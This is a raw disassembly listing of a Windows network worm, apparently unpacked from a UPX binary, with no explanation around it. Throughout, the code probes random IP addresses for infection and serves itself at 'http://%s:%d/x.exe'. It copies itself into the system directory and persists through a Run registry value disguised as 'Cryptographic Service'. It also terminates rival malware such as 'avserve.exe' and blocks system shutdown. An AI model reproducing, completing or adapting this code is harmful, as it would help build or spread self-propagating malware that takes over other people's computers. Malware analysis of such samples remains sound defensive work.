var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_31421190
		push	offset loc_31422CD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_70], offset aU10x ; "u10x"
		mov	[ebp+var_6C], offset aU11x ; "u11x"
		mov	[ebp+var_68], offset aU12x ; "u12x"
		mov	[ebp+var_64], offset aU13x ; "u13x"
		mov	[ebp+var_60], offset aU14x ; "u14x"
		mov	[ebp+var_5C], offset aU15x ; "u15x"
		mov	[ebp+var_58], offset aU16x ; "u16x"
		mov	[ebp+var_54], offset aU17x ; "u17x"
		mov	[ebp+var_50], offset aU18x ; "u18x"
		mov	[ebp+var_4C], offset aU8 ; "u8"
		mov	[ebp+var_48], offset aU9 ; "u9"
		mov	[ebp+var_44], offset aU10 ; "u10"
		mov	[ebp+var_40], offset aU11 ; "u11"
		mov	[ebp+var_3C], offset aU12 ; "u12"
		mov	[ebp+var_38], offset aU13 ; "u13"
		mov	[ebp+var_34], offset aU13i ; "u13i"
		mov	[ebp+var_30], offset aU14 ; "u14"
		mov	[ebp+var_2C], offset aU15 ; "u15"
		mov	[ebp+var_28], offset aU16 ; "u16"
		mov	[ebp+var_24], offset aU17 ; "u17"
		mov	[ebp+var_20], offset aU18 ; "u18"
		mov	[ebp+var_1C], offset aU19 ; "u19"
		push	offset aU19x	; "u19x"
		xor	edi, edi
		push	edi
		push	1
		push	edi
		call	dword_3142106C	; CreateEventA
		mov	dword_31424FF8,	eax
		mov	[ebp+var_4], edi
		mov	[ebp+var_74], edi

loc_3142248B:				; CODE XREF: sub_314223B2+EFj
		cmp	[ebp+var_74], 9
		jnb	short loc_314224A3
		mov	eax, [ebp+var_74]
		push	[ebp+eax*4+var_70]
		call	sub_3142204E
		pop	ecx
		inc	[ebp+var_74]
		jmp	short loc_3142248B
; ---------------------------------------------------------------------------

loc_314224A3:				; CODE XREF: sub_314223B2+DDj
		mov	[ebp+var_74], edi

loc_314224A6:				; CODE XREF: sub_314223B2+10Aj
		cmp	[ebp+var_74], 0Dh
		jnb	short loc_314224BE
		mov	eax, [ebp+var_74]
		push	[ebp+eax*4+var_4C]
		call	sub_31421F29
		pop	ecx
		inc	[ebp+var_74]
		jmp	short loc_314224A6
; ---------------------------------------------------------------------------

loc_314224BE:				; CODE XREF: sub_314223B2+F8j
		cmp	[ebp+arg_0], edi
		jz	short loc_314224FC
		push	offset aWs2_32	; "ws2_32"
		mov	esi, dword_314210A8
		call	esi	; LoadLibraryA
		push	offset aWininet	; "wininet"
		call	esi	; LoadLibraryA
		push	offset aMsvcrt	; "msvcrt"
		call	esi	; LoadLibraryA
		push	offset aAdvapi32 ; "advapi32"
		call	esi	; LoadLibraryA
		push	offset aUser32	; "user32"
		call	esi	; LoadLibraryA
		push	offset aUterm19	; "uterm19"
		call	sub_31421F29
		pop	ecx
		mov	dword_31424FF4,	eax

loc_314224FC:				; CODE XREF: sub_314223B2+10Fj
		call	sub_31422308
		push	edi
		push	offset sub_314221C4
		call	sub_31421F38
		push	edi
		push	offset sub_314216A2
		call	sub_31421F38
		push	edi
		push	offset loc_3142276E
		call	sub_31421F38
		add	esp, 18h

loc_31422525:				; CODE XREF: sub_314223B2+18Ej
		call	sub_3142239E
		test	eax, eax
		jnz	short loc_31422542
		push	edi
		call	dword_31421018	; AbortSystemShutdownA
		push	1388h
		call	dword_31421094	; Sleep
		jmp	short loc_31422525
; ---------------------------------------------------------------------------

loc_31422542:				; CODE XREF: sub_314223B2+17Aj
		or	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_2
		xor	eax, eax
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_314223B2	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3142255F	proc near		; DATA XREF: sub_314225C3+55o
					; sub_3142264B+6Ao ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_0], 7Fh
		jnz	short loc_3142256E
		push	1
		pop	eax
		jmp	short locret_314225BF
; ---------------------------------------------------------------------------

loc_3142256E:				; CODE XREF: sub_3142255F+8j
		mov	al, byte ptr [ebp+arg_0+3]
		push	ebx
		push	esi
		mov	[ebp+var_1], al
		xor	bl, bl

loc_31422578:				; CODE XREF: sub_3142255F+5Aj
		call	sub_3142239E
		test	eax, eax
		jnz	short loc_314225BB
		call	sub_31422038
		test	eax, eax
		jz	short loc_314225BB
		cmp	[ebp+var_1], bl
		jz	short loc_314225B4
		mov	byte ptr [ebp+arg_0+3],	bl
		push	[ebp+arg_0]
		call	sub_31421801
		movzx	esi, word_3142500C
		pop	ecx
		call	dword_314210FC	; rand
		cdq
		idiv	esi
		add	edx, esi
		push	edx
		call	dword_31421094	; Sleep

loc_314225B4:				; CODE XREF: sub_3142255F+2Ej
		inc	bl
		cmp	bl, 0FFh
		jb	short loc_31422578

loc_314225BB:				; CODE XREF: sub_3142255F+20j
					; sub_3142255F+29j
		pop	esi
		xor	eax, eax
		pop	ebx

locret_314225BF:			; CODE XREF: sub_3142255F+Dj
		leave
		retn	4
sub_3142255F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_314225C3	proc near		; DATA XREF: sub_3142264B+7Eo
					; UPX0:31422803o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	byte ptr [ebp+arg_0], 7Fh
		jnz	short loc_314225D1
		push	1
		pop	eax
		jmp	short loc_31422647
; ---------------------------------------------------------------------------

loc_314225D1:				; CODE XREF: sub_314225C3+7j
		push	ebx
		push	esi
		push	edi
		call	sub_31421EFB
		mov	esi, dword_314210FC
		xor	ebx, ebx

loc_314225E1:				; CODE XREF: sub_314225C3+7Dj
		call	sub_3142239E
		test	eax, eax
		jnz	short loc_31422642
		call	sub_31422038
		test	eax, eax
		jz	short loc_31422642
		call	esi	; rand
		mov	byte ptr [ebp+arg_0+2],	al
		call	esi	; rand
		push	offset dword_31425004
		mov	byte ptr [ebp+arg_0+3],	al
		call	dword_314210D4	; InterlockedIncrement
		push	[ebp+arg_0]
		call	sub_31421801
		test	eax, eax
		pop	ecx
		jnz	short loc_31422624
		push	[ebp+arg_0]
		push	offset sub_3142255F
		call	sub_31421F52
		pop	ecx
		pop	ecx

loc_31422624:				; CODE XREF: sub_314225C3+50j
		movzx	edi, word_3142500C
		call	esi	; rand
		cdq
		idiv	edi
		add	edx, edi
		push	edx
		call	dword_31421094	; Sleep
		inc	ebx
		cmp	ebx, 8000h
		jl	short loc_314225E1

loc_31422642:				; CODE XREF: sub_314225C3+25j
					; sub_314225C3+2Ej
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx

loc_31422647:				; CODE XREF: sub_314225C3+Cj
		pop	ebp
		retn	4
sub_314225C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3142264B	proc near		; DATA XREF: UPX0:3142281Bo

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		call	sub_31421EFB
		call	sub_3142239E
		test	eax, eax
		jnz	loc_31422704
		push	ebx
		mov	ebx, dword_31421094
		push	esi
		mov	esi, dword_314210FC
		push	edi

loc_31422671:				; CODE XREF: sub_3142264B+48j
					; sub_3142264B+B0j
		call	esi	; rand
		mov	byte ptr [ebp+var_4+1],	al
		call	esi	; rand
		mov	byte ptr [ebp+var_4+3],	al
		call	esi	; rand
		mov	byte ptr [ebp+var_4+2],	al

loc_31422680:				; CODE XREF: sub_3142264B+3Cj
		call	esi	; rand
		cmp	al, 7Fh
		mov	byte ptr [ebp+var_4], al
		jz	short loc_31422680
		call	sub_31421FF9
		mov	edi, [ebp+var_4]
		cmp	edi, eax
		jz	short loc_31422671
		call	sub_31422038
		test	eax, eax
		jz	short loc_314226DC
		push	offset dword_31425004
		call	dword_314210D4	; InterlockedIncrement
		push	edi
		call	sub_31421801
		test	eax, eax
		pop	ecx
		jnz	short loc_314226E3
		push	edi
		push	offset sub_3142255F
		call	sub_31421F52
		pop	ecx
		mov	[ebp+var_8], 4
		pop	ecx

loc_314226C8:				; CODE XREF: sub_3142264B+8Dj
		push	edi
		push	offset sub_314225C3
		call	sub_31421F52
		dec	[ebp+var_8]
		pop	ecx
		pop	ecx
		jnz	short loc_314226C8
		jmp	short loc_314226E3
; ---------------------------------------------------------------------------

loc_314226DC:				; CODE XREF: sub_3142264B+51j
		push	2710h
		call	ebx	; Sleep

loc_314226E3:				; CODE XREF: sub_3142264B+67j
					; sub_3142264B+8Fj
		movzx	edi, word_3142500C
		call	esi	; rand
		cdq
		idiv	edi
		add	edx, edi
		push	edx
		call	ebx	; Sleep
		call	sub_3142239E
		test	eax, eax
		jz	loc_31422671
		pop	edi
		pop	esi
		pop	ebx

loc_31422704:				; CODE XREF: sub_3142264B+11j
		push	0
		call	dword_314210D0	; ExitThread
		xor	eax, eax
		leave
		retn	4
sub_3142264B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31422712	proc near		; CODE XREF: UPX0:314227E0p
					; UPX0:loc_31422846p

var_50		= byte ptr -50h
var_28		= byte ptr -28h

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	esi
		call	sub_31421FF9
		push	eax
		call	dword_3142115C	; inet_ntoa
		mov	esi, dword_31421068
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	esi	; lstrcpy
		push	dword_31424FFC
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_50]
		push	offset aHttpSDX_exe ; "http://%s:%d/x.exe"
		push	eax
		call	dword_3142111C	; wsprintfA
		add	esp, 10h
		lea	eax, [ebp+var_50]
		push	eax
		push	offset word_314242BA
		call	esi	; lstrcpy
		push	offset byte_314242B8
		call	dword_31421084	; lstrlen
		mov	byte_314242B8[eax], 0DFh
		pop	esi
		leave
		retn
sub_31422712	endp

; ---------------------------------------------------------------------------

loc_3142276E:				; DATA XREF: sub_314223B2+166o
		push	ecx
		push	ecx
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		mov	dword_31425004,	ebx
		call	sub_31422038
		mov	esi, dword_31421094
		mov	edi, 1388h
		test	eax, eax
		jnz	short loc_3142279C

loc_31422790:				; CODE XREF: UPX0:3142279Aj
		push	edi
		call	esi	; Sleep
		call	sub_31422038
		test	eax, eax
		jz	short loc_31422790

loc_3142279C:				; CODE XREF: UPX0:3142278Ej
		lea	eax, [esp+14h]
		push	ebx
		push	eax
		call	dword_31421130	; InternetGetConnectedState
		test	byte ptr [esp+14h], 2
		push	50h
		mov	dword_31425008,	ebx
		pop	ebp
		mov	word_3142500C, 96h
		jz	short loc_314227D9
		mov	dword_31425008,	1
		mov	ebp, 15Eh
		mov	word_3142500C, 14h

loc_314227D9:				; CODE XREF: UPX0:314227BFj
		call	sub_31421FF9
		mov	ebx, eax
		call	sub_31422712
		cmp	ebx, 100007Fh
		jz	short loc_314227FA
		push	ebx
		push	offset sub_3142255F
		call	sub_31421F52
		pop	ecx
		pop	ecx

loc_314227FA:				; CODE XREF: UPX0:314227EBj
		mov	dword ptr [esp+10h], 4

loc_31422802:				; CODE XREF: UPX0:31422813j
		push	ebx
		push	offset sub_314225C3
		call	sub_31421F52
		dec	dword ptr [esp+18h]
		pop	ecx
		pop	ecx
		jnz	short loc_31422802
		test	ebp, ebp
		jle	short loc_3142282A

loc_31422819:				; CODE XREF: UPX0:31422828j
		push	0
		push	offset sub_3142264B
		call	sub_31421F52
		pop	ecx
		dec	ebp
		pop	ecx
		jnz	short loc_31422819

loc_3142282A:				; CODE XREF: UPX0:31422817j
					; UPX0:31422836j ...
		call	sub_31422038
		test	eax, eax
		jz	short loc_31422838
		push	edi
		call	esi	; Sleep
		jmp	short loc_3142282A
; ---------------------------------------------------------------------------

loc_31422838:				; CODE XREF: UPX0:31422831j
					; UPX0:31422844j
		call	sub_31422038
		test	eax, eax
		jnz	short loc_31422846
		push	edi
		call	esi	; Sleep
		jmp	short loc_31422838
; ---------------------------------------------------------------------------

loc_31422846:				; CODE XREF: UPX0:3142283Fj
		call	sub_31422712
		jmp	short loc_3142282A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3142284D	proc near		; CODE XREF: sub_314229E6+93p
					; sub_31422B67+11Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_4]
		push	eax
		push	0F003Fh
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_3142100C	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_31422880
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	dword_31421010	; RegDeleteValueA
		push	[ebp+arg_4]
		call	dword_31421014	; RegCloseKey

loc_31422880:				; CODE XREF: sub_3142284D+1Cj
		pop	ebp
		retn
sub_3142284D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31422882	proc near		; CODE XREF: sub_314221C4+33p
					; sub_314229E6+84p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_10]
		push	esi
		mov	[ebp+var_4], eax
		lea	eax, [ebp+arg_10]
		push	eax
		xor	esi, esi
		push	0F003Fh
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_3142100C	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_314228AE
		push	1
		pop	eax
		jmp	short loc_314228D8
; ---------------------------------------------------------------------------

loc_314228AE:				; CODE XREF: sub_31422882+25j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+arg_4]
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_10]
		call	dword_31421008	; RegQueryValueExA
		test	eax, eax
		jz	short loc_314228CD
		push	2
		pop	esi

loc_314228CD:				; CODE XREF: sub_31422882+46j
		push	[ebp+arg_10]
		call	dword_31421014	; RegCloseKey
		mov	eax, esi

loc_314228D8:				; CODE XREF: sub_31422882+2Aj
		pop	esi
		leave
		retn
sub_31422882	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_314228DB	proc near		; CODE XREF: sub_31422A9B+96p
					; sub_31422B67+7Cp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		lea	eax, [ebp+arg_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_31421000	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_31422904
		push	1
		pop	eax
		jmp	short loc_3142292B
; ---------------------------------------------------------------------------

loc_31422904:				; CODE XREF: sub_314228DB+22j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	1
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	dword_31421004	; RegSetValueExA
		test	eax, eax
		jz	short loc_31422920
		push	2
		pop	esi

loc_31422920:				; CODE XREF: sub_314228DB+40j
		push	[ebp+arg_4]
		call	dword_31421014	; RegCloseKey
		mov	eax, esi

loc_3142292B:				; CODE XREF: sub_314228DB+27j
		pop	esi
		pop	ebp
		retn
sub_314228DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3142292E	proc near		; CODE XREF: sub_314229E6+9Fp

var_128		= dword	ptr -128h
var_120		= dword	ptr -120h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	ebx
		call	dword_31421084	; lstrlen
		mov	esi, eax
		dec	esi
		test	esi, esi
		jle	loc_314229E2

loc_3142294E:				; CODE XREF: sub_3142292E+27j
		cmp	byte ptr [esi+ebx], 5Ch
		jz	short loc_31422957
		dec	esi
		jns	short loc_3142294E

loc_31422957:				; CODE XREF: sub_3142292E+24j
		push	0
		push	2
		call	sub_31422D2C	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_314229E2
		push	128h
		lea	eax, [ebp+var_128]
		push	0
		push	eax
		call	sub_31422CD6	; memset
		add	esp, 0Ch
		lea	eax, [ebp+var_128]
		mov	[ebp+var_128], 128h
		push	eax
		push	[ebp+arg_0]
		call	sub_31422D26	; Process32First
		test	eax, eax
		jz	short loc_314229E2
		lea	esi, [esi+ebx+1]

loc_3142299F:				; CODE XREF: sub_3142292E+B2j
		lea	eax, [ebp+var_104]
		push	eax
		push	esi
		call	dword_31421104	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_314229CF
		push	[ebp+var_120]
		push	0
		push	1F0FFFh
		call	dword_314210B0	; OpenProcess
		push	0
		push	eax
		call	dword_31421060	; TerminateProcess

loc_314229CF:				; CODE XREF: sub_3142292E+83j
		lea	eax, [ebp+var_128]
		push	eax
		push	[ebp+arg_0]
		call	sub_31422D20	; Process32Next
		test	eax, eax
		jnz	short loc_3142299F

loc_314229E2:				; CODE XREF: sub_3142292E+1Aj
					; sub_3142292E+38j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_3142292E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_314229E6	proc near		; CODE XREF: UPX0:3142237Bp

var_13C		= byte ptr -13Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	ebx
		push	esi
		lea	eax, [ebp+var_34]
		push	edi
		mov	[ebp+var_34], offset aWindowsSecurit ; "Windows	Security Manager"
		mov	[ebp+var_30], offset aDiskDefragment ; "Disk Defragmenter"
		mov	[ebp+var_2C], offset aSystemRestoreS ; "System Restore Service"
		mov	[ebp+var_28], offset aBotLoader	; "Bot Loader"
		mov	[ebp+var_24], offset aSystray ;	"SysTray"
		mov	[ebp+var_20], offset aWinupdate	; "WinUpdate"
		mov	[ebp+var_1C], offset aWindowsUpdateS ; "Windows	Update Service"
		mov	[ebp+var_18], offset aAvserve_exe ; "avserve.exe"
		mov	[ebp+var_14], offset aAvserve2_exeup ; "avserve2.exeUpdate Service"
		mov	[ebp+var_10], offset aMsConfigV13 ; "MS	Config v13"
		mov	[ebp+var_C], offset aWindowsUpdate ; "Windows Update"
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], 0Bh
		mov	edi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		mov	esi, 80000002h

loc_31422A56:				; CODE XREF: sub_314229E6+AEj
		mov	eax, [ebp+var_4]
		push	104h
		mov	ebx, [eax]
		lea	eax, [ebp+var_13C]
		push	eax
		push	ebx
		push	edi
		push	esi
		call	sub_31422882
		add	esp, 14h
		test	eax, eax
		jnz	short loc_31422A8D
		push	ebx
		push	edi
		push	esi
		call	sub_3142284D
		lea	eax, [ebp+var_13C]
		push	eax
		call	sub_3142292E
		add	esp, 10h

loc_31422A8D:				; CODE XREF: sub_314229E6+8Ej
		add	[ebp+var_4], 4
		dec	[ebp+var_8]
		jnz	short loc_31422A56
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_314229E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31422A9B	proc near		; CODE XREF: sub_31422B67+D1p
					; sub_31422B67+132p

var_78		= byte ptr -78h
var_14		= byte ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 78h
		cmp	[ebp+arg_0], 0
		jz	short loc_31422AB0
		push	[ebp+arg_0]
		call	dword_31421074	; DeleteFileA

loc_31422AB0:				; CODE XREF: sub_31422A9B+Aj
		lea	eax, [ebp+var_78]
		push	63h
		push	eax
		call	dword_3142108C	; GetSystemDirectoryA
		test	eax, eax
		jz	locret_31422B65
		push	esi
		call	dword_314210FC	; rand
		and	eax, 3
		add	eax, 5
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_31421F73
		mov	esi, dword_31421088
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_14]
		push	offset dword_314241F0
		push	eax
		call	esi	; lstrcat
		lea	eax, [ebp+var_78]
		push	offset dword_314241F8
		push	eax
		call	esi	; lstrcat
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		call	esi	; lstrcat
		lea	eax, [ebp+var_78]
		push	0
		push	eax
		push	[ebp+arg_4]
		call	dword_31421050	; CopyFileA
		lea	eax, [ebp+var_78]
		push	eax
		call	dword_31421084	; lstrlen
		inc	eax
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		push	offset aCryptographicS ; "Cryptographic	Service"
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_314228DB
		add	esp, 14h
		push	dword_31424FF4
		call	dword_3142107C	; CloseHandle
		lea	eax, [ebp+var_78]
		push	0
		push	eax
		call	dword_31421054	; WinExec
		push	1F4h
		call	dword_31421094	; Sleep
		push	0
		call	dword_314210E0	; ExitProcess
		pop	esi

locret_31422B65:			; CODE XREF: sub_31422A9B+23j
		leave
		retn
sub_31422A9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31422B67	proc near		; CODE XREF: UPX0:31422380p

var_E8		= byte ptr -0E8h
var_84		= byte ptr -84h
var_20		= byte ptr -20h

		push	ebp
		mov	ebp, esp
		sub	esp, 0E8h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_84]
		push	63h
		push	eax
		push	0
		call	dword_31421048	; GetModuleFileNameA
		test	eax, eax
		jz	loc_31422CA0
		and	dword_31425010,	0
		lea	eax, [ebp+var_20]
		push	1Dh
		push	eax
		mov	edi, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Wireless"
		push	offset aId	; "ID"
		mov	esi, 80000002h
		push	edi
		push	esi
		call	sub_31422882
		add	esp, 14h
		test	eax, eax
		jz	short loc_31422BED
		call	dword_314210FC	; rand
		push	0Ah
		mov	ebx, offset aTeqascuxcdoazy ; "teqascuxcdoazysmpau"
		cdq
		pop	ecx
		idiv	ecx
		add	edx, ecx
		push	edx
		push	ebx
		call	sub_31421F73
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_31421084	; lstrlen
		inc	eax
		push	eax
		push	ebx
		push	offset aId	; "ID"
		push	edi
		push	esi
		call	sub_314228DB
		add	esp, 14h
		jmp	short loc_31422BFC
; ---------------------------------------------------------------------------

loc_31422BED:				; CODE XREF: sub_31422B67+4Dj
		lea	eax, [ebp+var_20]
		push	eax
		push	offset aTeqascuxcdoazy ; "teqascuxcdoazysmpau"
		call	dword_31421068	; lstrcpy

loc_31422BFC:				; CODE XREF: sub_31422B67+84j
		lea	eax, [ebp+var_E8]
		push	63h
		push	eax
		push	offset aCryptographicS ; "Cryptographic	Service"
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	esi
		call	sub_31422882
		add	esp, 14h
		test	eax, eax
		jz	short loc_31422C42
		push	2
		push	offset a1	; "1"
		push	offset aClient	; "Client"
		push	edi
		push	esi
		call	sub_314228DB
		lea	eax, [ebp+var_84]
		push	eax
		push	0
		call	sub_31422A9B
		add	esp, 1Ch
		jmp	short loc_31422CA0
; ---------------------------------------------------------------------------

loc_31422C42:				; CODE XREF: sub_31422B67+B3j
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_E8]
		push	eax
		call	dword_3142104C	; lstrcmpi
		test	eax, eax
		jnz	short loc_31422C8B
		lea	eax, [ebp+var_20]
		push	1Dh
		mov	ebx, offset aClient ; "Client"
		push	eax
		push	ebx
		push	edi
		push	esi
		call	sub_31422882
		add	esp, 14h
		test	eax, eax
		jnz	short loc_31422CA0
		push	ebx
		push	edi
		push	esi
		mov	dword_31425010,	1
		call	sub_3142284D
		add	esp, 0Ch
		jmp	short loc_31422CA0
; ---------------------------------------------------------------------------

loc_31422C8B:				; CODE XREF: sub_31422B67+F1j
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_E8]
		push	eax
		call	sub_31422A9B
		pop	ecx
		pop	ecx

loc_31422CA0:				; CODE XREF: sub_31422B67+1Fj
					; sub_31422B67+D9j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_31422B67	endp


; =============== S U B	R O U T	I N E =======================================



sub_31422CA5	proc near		; CODE XREF: sub_314211A0+CAp
					; sub_314215C7+11p ...

arg_0		= dword	ptr  4

		push	4
		push	1000h
		push	[esp+8+arg_0]
		push	0
		call	dword_31421044	; VirtualAlloc
		retn
sub_31422CA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_31422CB9	proc near		; CODE XREF: sub_314211A0+10Bp
					; sub_314215C7+C0p

arg_0		= dword	ptr  4

		push	8000h
		push	0
		push	[esp+8+arg_0]
		call	dword_31421040	; VirtualFree
		retn
sub_31422CB9	endp

; ---------------------------------------------------------------------------
		align 10h

loc_31422CD0:				; DATA XREF: sub_31421422+Ao
					; sub_314223B2+Ao
		jmp	dword ptr loc_31421100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31422CD6	proc near		; CODE XREF: sub_31421801+128p
					; sub_31421801+134p ...
		jmp	dword_314210F8
sub_31422CD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31422CDC	proc near		; CODE XREF: sub_31421801+9Cp
					; sub_31421801+C5p ...
		jmp	dword_314210F4
sub_31422CDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31422CE2	proc near		; CODE XREF: sub_31421801+93p
					; sub_31421801+B2p ...
		jmp	dword_314210F0
sub_31422CE2	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_31422CF0	proc near		; CODE XREF: sub_31421801+8p

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_31422D10

loc_31422CFC:				; CODE XREF: sub_31422CF0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_31422CFC

loc_31422D10:				; CODE XREF: sub_31422CF0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_31422CF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31422D20	proc near		; CODE XREF: sub_3142292E+ABp
		jmp	dword_31421064
sub_31422D20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31422D26	proc near		; CODE XREF: sub_3142292E+64p
		jmp	dword_3142105C
sub_31422D26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31422D2C	proc near		; CODE XREF: sub_3142292E+2Dp
		jmp	dword_31421058
sub_31422D2C	endp

; ---------------------------------------------------------------------------
		db 2 dup(0CCh)
		dd 4B3h	dup(0)
dword_31424000	dd 206h, 2400h,	31415352h, 180h, 10001h, 11838DF5h, 2AEC5279h
					; DATA XREF: sub_31421422+112o
		dd 0E7F63AE4h, 0E0EA9B49h, 0DB21AFBEh, 1A95447Eh, 0A032615Eh
		dd 9F6A1F85h, 3994FF94h, 8F26A684h, 5C1DCE35h, 0B20BC9A5h
		dd 3072657Ah, 0
aMozilla4_0Co_0	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0
					; DATA XREF: sub_314215C7+84o
		align 10h
byte_31424080	db 0			; DATA XREF: sub_314216A2+1Br
off_31424081	dd offset dword_314241E4 ; DATA	XREF: sub_314216A2+23r
		align 2
		dd offset dword_314241D4
		dw 0C401h
		dd 1314241h, 314241B4h,	4241A000h, 41900131h, 80013142h
		dd 314241h, 31424174h, 42416800h, 41580131h, 48003142h
		dd 1314241h, 3142413Ch,	42417400h, 41D40131h, 30003142h
		dd 314241h, 314241D4h, 42412001h, 41480031h, 10013142h
		dd 314241h, 31424130h, 42410001h, 40F80131h, 74003142h
